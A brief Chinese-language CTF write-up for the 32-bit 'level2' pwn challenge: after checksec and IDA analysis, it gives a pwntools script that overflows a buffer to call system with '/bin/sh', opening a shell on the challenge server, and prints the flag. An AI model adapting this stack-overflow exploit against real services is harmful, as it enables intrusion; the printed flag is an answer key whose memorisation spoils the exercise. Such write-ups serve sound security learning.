解题
思路
先checksec一下,发现就开了一个NX
32位的,直接拖入ida中,运行一下,对照看ida。
之后看见了第一句话。
之后你输入的全给buf中,大小100h,之后跳回去,输出hello word,大概逻辑知道了,先看看源程序中,有没有/bin/sh这类,在地址0804A024有/bin/sh,之后找plt表,08048320这里调用了system,所以脚本生成。
脚本
from pwn import *
p = remote('node4.buuoj.cn',26844)
#p = process('./level2')
context(os = 'linux',arch = 'i386',log_level = 'debug')
#gdb.attach(p)
payload = b'a'*(0x88+0x04)+p32(0x08048320) +p32(0) +p32(0x0804A024)
p.sendlineafter(b'Input:\n',payload)
p.interactive()
所以最后flag是flag{689cce09-25a9-4c6d-81ed-9939391f057d}